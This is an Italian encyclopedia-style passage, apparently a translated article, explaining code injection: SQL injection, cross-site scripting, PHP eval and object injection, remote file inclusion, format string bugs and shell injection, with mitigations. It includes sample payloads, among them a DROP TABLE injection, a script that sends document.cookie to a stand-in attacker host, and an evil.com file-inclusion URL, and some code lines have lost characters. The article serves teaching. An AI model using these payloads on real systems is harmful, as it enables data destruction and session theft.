SQL injectionModifica
SQL injection sfrutta la sintassi di SQL per iniettare comandi che possono leggere o modificare un database, o compromettere il significato della query originale.
Per esempio, consideriamo una pagina web che ha due campi per permettere agli utenti di inserire un nome utente e una password. Il codice dietro la pagina genererà una query SQL per controllare la password rispetto alla lista dei nomi utente:
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'Password'
Se questa query restituisce qualche riga, allora l’accesso è concesso. Tuttavia, se l’utente malintenzionato inserisce un nome utente valido e inietta qualche codice valido (password' OR '1'='1
) nel campo Password, allora la query risultante sarà simile a questa:
SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'password' OR '1'='1'
Nell’esempio precedente, si presume che “Password” sia vuoto o qualche stringa innocua. “'1'='1'
” sarà sempre vero e verranno restituite molte righe, permettendo così l’accesso.
La tecnica può essere raffinata per permettere l’esecuzione di più istruzioni, o anche per caricare ed eseguire programmi esterni.
Assumiamo una query con il seguente formato:
SELECT User.UserIDFROM UserWHERE User.UserID = ' " + UserID + " 'AND User.Pwd = ' " + Password + " '
Se un avversario ha i seguenti input:
UserID: ';DROP TABLE User; --'
Password: 'OR"='
la query sarà analizzata come:
SELECT User.UserIDFROM UserWHERE User.UserID = '';DROP TABLE User; --'AND Pwd = ''OR"='
Il risultato è che la tabella User
sarà rimossa dal database. Questo accade perché il simbolo ;
significa la fine di un comando e l’inizio di uno nuovo. --
indica l’inizio di un commento.
Cross-site scriptingModifica
L’iniezione di codice è l’iniezione o l’introduzione malevola di codice in un’applicazione. Alcuni server web hanno uno script guestbook, che accetta piccoli messaggi dagli utenti, e tipicamente riceve messaggi come:
Very nice site!
Tuttavia un malintenzionato potrebbe conoscere una vulnerabilità di iniezione di codice nel guestbook, e inserire un messaggio come:
Nice site, I think I'll take it. <script>window.location="https://some_attacker/evilcgi/cookie.cgi?steal=" + escape(document.cookie)</script>
Se un altro utente visualizza la pagina, il codice iniettato verrà eseguito. Questo codice può permettere all’attaccante di impersonare un altro utente. Tuttavia questo stesso bug software può essere accidentalmente innescato da un utente senza pretese che farà sì che il sito web visualizzi un cattivo codice HTML.
HTML e script injection è un argomento popolare, comunemente chiamato “cross-site scripting” o “XSS”. XSS si riferisce a un difetto di iniezione per cui l’input dell’utente a uno script web o qualcosa del genere viene inserito nell’HTML in uscita, senza essere controllato per il codice HTML o lo scripting.
Molti di questi problemi sono legati a presupposti errati di quali dati di input sono possibili, o gli effetti di dati speciali.
Vulnerabilità di valutazione dinamicaModifica
Una vulnerabilità di iniezione eval()
si verifica quando un attaccante può controllare tutta o parte di una stringa di input che viene inserita in una functioncall eval()
.
$myvar = 'somevalue';$x = $_GET;eval('$myvar = ' . $x . ';');
L’argomento di “eval
” sarà processato come PHP, quindi possono essere aggiunti ulteriori comandi. Per esempio, se “arg” è impostato su “10; system('/bin/echo uh-oh')
“, viene eseguito del codice aggiuntivo che esegue un programma sul server, in questo caso “/bin/echo
“.
Object injectionEdit
PHP permette la serializzazione e deserializzazione di interi oggetti. Se un input non fidato è permesso nella funzione di deserializzazione, è possibile sovrascrivere le classi esistenti nel programma ed eseguire attacchi dannosi. Un simile attacco a Joomla è stato trovato nel 2013.
Remote file injectionEdit
Considera questo programma PHP (che include un file specificato dalla richiesta):
<?php$color = 'blue';if (isset($_GET)) $color = $_GET;require($color . '.php');
L’esempio potrebbe essere letto come se solo i file colore come blue.php
e red.php
potessero essere caricati, mentre gli attaccanti potrebbero fornire COLOR=http://evil.com/exploit
inducendo PHP a caricare il file esterno.
Format specifier injectionEdit
I bug delle stringhe di formato appaiono più comunemente quando un programmatore desidera stampare una stringa contenente dati forniti dall’utente. Il programmatore potrebbe erroneamente scrivere printf(buffer)
invece di printf("%s", buffer)
. La prima versione interpreta buffer
come una stringa di formato e analizza qualsiasi istruzione di formattazione possa contenere. Consideriamo il seguente breve programma C che ha una variabile locale char array password
che contiene una password; il programma chiede all’utente un intero e una stringa, poi fa un echo della stringa fornita dall’utente.
char user_input; int int_in; char password = "Password1"; printf("Enter an integer\n"); scanf("%d", &int_in); printf("Please enter a string\n"); fgets(user_input, sizeof(user_input), stdin); printf(user_input); // Safe version is: printf("%s", user_input); printf("\n"); return 0;
Se l’input dell’utente è riempito con una lista di specificatori di formato come %s%s%s%s%s%s%s%s
, allora printf()
inizierà a leggere dallo stack. Alla fine, uno degli specificatori di formato %s
accederà all’indirizzo di password
, che è sullo stack, e stamperà Password1
sullo schermo.
Shell injectionEdit
Shell injection (o command injection) prende il nome dalle shell Unix, ma si applica alla maggior parte dei sistemi che permettono al software di eseguire programmaticamente una linea di comando. Ecco un esempio di script tcsh vulnerabile:
#!/bin/tcsh# check arg outputs it matches if arg is one if ( == 1) echo it matches
Se quanto sopra è memorizzato nel file eseguibile ./check
, il comando shell ./check " 1 ) evil"
tenterà di eseguire il comando shell iniettato evil
invece di confrontare l’argomento con quello costante. Qui, il codice sotto attacco è il codice che sta cercando di controllare il parametro, lo stesso codice che avrebbe potuto cercare di convalidare il parametro per difendersi da un attacco.
Qualsiasi funzione che può essere usata per comporre ed eseguire un comando shell è un potenziale veicolo per lanciare un attacco shell injection. Tra questi ci sono system()
, StartProcess()
, e System.Diagnostics.Process.Start()
.
I sistemi client-server come l’interazione del browser web con i server web sono potenzialmente vulnerabili all’iniezione di shell. Si consideri il seguente breve programma PHP che può essere eseguito su un server web per eseguire un programma esterno chiamato funnytext
per sostituire una parola inviata dall’utente con qualche altra parola.
<?phppassthru("/bin/funnytext " . $_GET);
Il passthru
di cui sopra compone un comando shell che viene poi eseguito dal server web. Poiché parte del comando che compone è preso dall’URL fornito dal browser web, questo permette all’URL di iniettare comandi shell dannosi. Si può iniettare codice in questo programma in diversi modi, sfruttando la sintassi di varie funzioni della shell (questa lista non è esaustiva):
Funzione shell | USER_INPUT valore |
Comando shell risultante | Spiegazione |
---|---|---|---|
Esecuzione sequenziale | ; malicious_command |
/bin/funnytext ; malicious_command |
Esegue funnytext , poi esegue malicious_command . |
Pipeline | | malicious_command |
/bin/funnytext | malicious_command |
Manda l’output di funnytext come input a malicious_command . |
Sostituzione comandi | `malicious_command` |
/bin/funnytext `malicious_command` |
Manda l’output di malicious_command come argomenti a funnytext . |
Sostituzione comando | $(malicious_command) |
/bin/funnytext $(malicious_command) |
Manda l’output di malicious_command come argomenti a funnytext . |
AND list | && malicious_command |
/bin/funnytext && malicious_command |
Esegue malicious_command se funnytext restituisce un exit status di 0 (successo). |
OR list | || malicious_command |
/bin/funnytext || malicious_command |
Esegue malicious_command se funnytext ritorna uno stato di uscita diverso da zero (errore). |
Rirezione output | > ~/.bashrc |
/bin/funnytext > ~/.bashrc |
Scrive il contenuto del file .bashrc con l’output di funnytext . |
Reindirizzamento dell’input | < ~/.bashrc |
/bin/funnytext < ~/.bashrc |
Invia il contenuto del file .bashrc come input a funnytext . |
Alcuni linguaggi offrono funzioni per l’escape o la citazione di stringhe usate per costruire comandi di shell:
- PHP:
escapeshellarg()
eescapeshellcmd()
- Python:
shlex.quote()
Tuttavia, questo pone ancora l’onere sui programmatori di conoscere/imparare queste funzioni e ricordarsi di farne uso ogni volta che usano i comandi di shell. Oltre ad usare queste funzioni, si raccomanda anche di validare o sanitizzare l’input dell’utente.
Un’alternativa più sicura è quella di usare API che eseguono programmi esterni direttamente, piuttosto che attraverso una shell, evitando così la possibilità di shell injection. Tuttavia, queste API tendono a non supportare varie caratteristiche di convenienza delle shell, e/o ad essere più ingombranti/verbose rispetto alla sintassi concisa delle shell.